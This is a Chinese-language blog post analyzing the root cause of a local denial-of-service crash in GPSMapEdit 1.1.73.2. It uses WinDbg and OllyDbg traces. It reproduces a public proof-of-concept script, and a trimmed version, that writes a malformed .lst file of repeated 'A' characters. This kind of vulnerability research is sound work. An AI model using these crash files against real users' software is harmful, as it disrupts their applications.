GPSMapEdit 1.1.73.2 - '.lst' 本地拒绝服务

GPSMapEdit 1.1.73.2 - ‘.lst’ 本地拒绝服务

调试环境：

系统：winxp sp3
工具：windbg,ollydbg
软件地址：https://www.exploit-db.com/apps/9df815fc25a88ead2fe069e32883265e-mapedit1-1-73-2-setup.exe

这个漏洞没有找到相关的调试的文章，这篇博客会根据漏洞库中提供的POC，来找一下漏洞形成的原因，利用的话还没想出来。

漏洞库提供的POC如下所示：

file="GPSMapEdit_crash.lst"
junk="\x41"*512

print "[*] Creating crash file...\n"
writeFile = open (file, "w")
writeFile.write(junk)
writeFile.close()
print "[*] File successfully created!\n\n"

很简单，就是用521个字符’A’构造一个.lst文件。

首先，用Ollydbg打开GPSMapEdit程序，输入命令g运行程序，然后让GPSMapEdit程序打开POC文件构造的GPSMapEdit_crash.lst文件，程序崩溃，windbg定位到崩溃现场。

崩溃现场的信息如下所示：

(418.638): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=43634141 ebx=00e2ec58 ecx=025afd60 edx=00000001 esi=bebec0bf edi=00000000
eip=00508e4a esp=025afd4c ebp=025afdb4 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
*** WARNING: Unable to verify checksum for mapedit.exe
*** ERROR: Module load completed but symbols could not be loaded for mapedit.exe
mapedit+0x108e4a:
00508e4a 8b4818          mov     ecx,dword ptr [eax+18h] ds:0023:43634159=????????

通过最后一行可以看出，程序崩溃的原因是找不到地址[eax+18h]，如果崩溃点是因为这个的话，那么问题就出在eax寄存器的值里面了，看一下上面的信息里面，eax=43634141。

然后输入命令kb，看一下栈回溯

ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
025afdb4 005278c1 02220000 00000200 00000000 mapedit+0x108e4a
025afdd0 00529d34 02220000 00000200 00e39354 mapedit+0x1278c1
025afe2c 0052a63c 00e392dc 01000000 00000000 mapedit+0x129d34
025aff98 0052a4bb 00e0e188 00000000 025affdc mapedit+0x12a63c
025affb4 7c80b713 00e2ec58 00000000 00000000 mapedit+0x12a4bb
025affec 00000000 0052a49c 00e2ec58 00000000 kernel32!GetModuleFileNameA+0x1b4

稍微解释一下：命令kb，可以查看函数的调用关系。上面的数据，每一行代表一个栈帧，也就是一个函数，下面一行是上面一行的父函数。每一行的第一列数据是栈帧的基址，也就是EBP的值；第二列是函数的返回地址，函数调用的下一行；后面三列是函数的三个参数。

从上面的回溯信息没有看出来有太大的问题，那就从最上层函数开始找找看。最后一行是kernel32.dll文件里的原型函数，倒数第二行的返回地址直接返回到动态链接库里面了，不找。那就从倒数第三行开始找。

用ollydbg打开GPSMapEdit程序，然后在7c80b713的上一个地址，

0052a4b6 | call 0052A4EF

在这个地方设置断点，然后F9运行到该地址，进去看看。

单步运行，一路看着寄存器以及堆栈窗口的内容变化，一直到

0052A637 | call 00529C58

这个地方，都没有什么奇怪的内容出现，进去这个函数。因为这个函数是上面堆栈上的倒数第四个函数，返回地址为0052a63c的那一个。

进去以后，继续单步运行，然后就可以看到调试窗口已经冒出来一些熟悉的数字，比方说size=200h这种，还有一串’A’等，现在是在传递他们的地址。说明已经离崩溃点不远了，继续运行，

00529D2F | call 0052782F

也就是第二个函数。这个地址之前的几个地址已经明显看出来，程序把相关的参数都压栈了，在堆栈窗口已经可以看到相关的参数以及其地址，比如那串’A’的地址为02220000(这是我这里显示的，可能会有不同)。

继续单步执行，就会看到.lst也入栈了，应该是确定文件类型的。碰到最后一个函数调用，继续进入，

然后就会看到下图中的代码

第一句：MOV ECX,DWORD PTR SS:[EBP+8]，这时EBP的值为025AFDB4，去栈区看EBP+8的值为02220000，就是字符串’A’的地址，这一步就是把02220000赋值给ECX。

第二句：MOV EAX,DWORD PTR DS:[ECX+32]，把ECX+32位置的值赋给EAX，这一步过后，EAX的值变成了41414141，好的，问题来了，估计就是这儿出问题了。

第三句：ADD EAX,ECX，把EAX和ECX的值相加，并且赋值给EAX。这一步之前，EAX=41414141，ECX=0222000，相加后为43634141，这个数字非常熟悉，就是刚开始崩溃点的EAX的值，也就是说从这里到程序崩溃，EAX的值没有在变过。

继续运行：程序崩溃，崩溃原因找不到[eax+18h]的值。

上面三步，是程序崩溃的来源，从第二句可以看出来，ECX+32的值就是EAX的值。

验证一下：
把POC文件中的字符’A’的长度，从512改为分别改为32和36，再次生成有问题的畸形文件，结果是36的文件引发错误，通过512是一样，32的那个虽然报错了，但是报的是内容错误，程序并没有崩溃。现在可以确定，该程序的拒绝服务就是由于第二步中，覆盖掉了EAX正确的值引起的。

精简一下POC：

file="GPSMapEdit_crash_36.lst"
junk="\x41"*36

print "[*] Creating crash file...\n"
writeFile = open (file, "w")
writeFile.write(junk)
writeFile.close()
print "[*] File successfully created!\n\n"

以上就是我找原因的过程。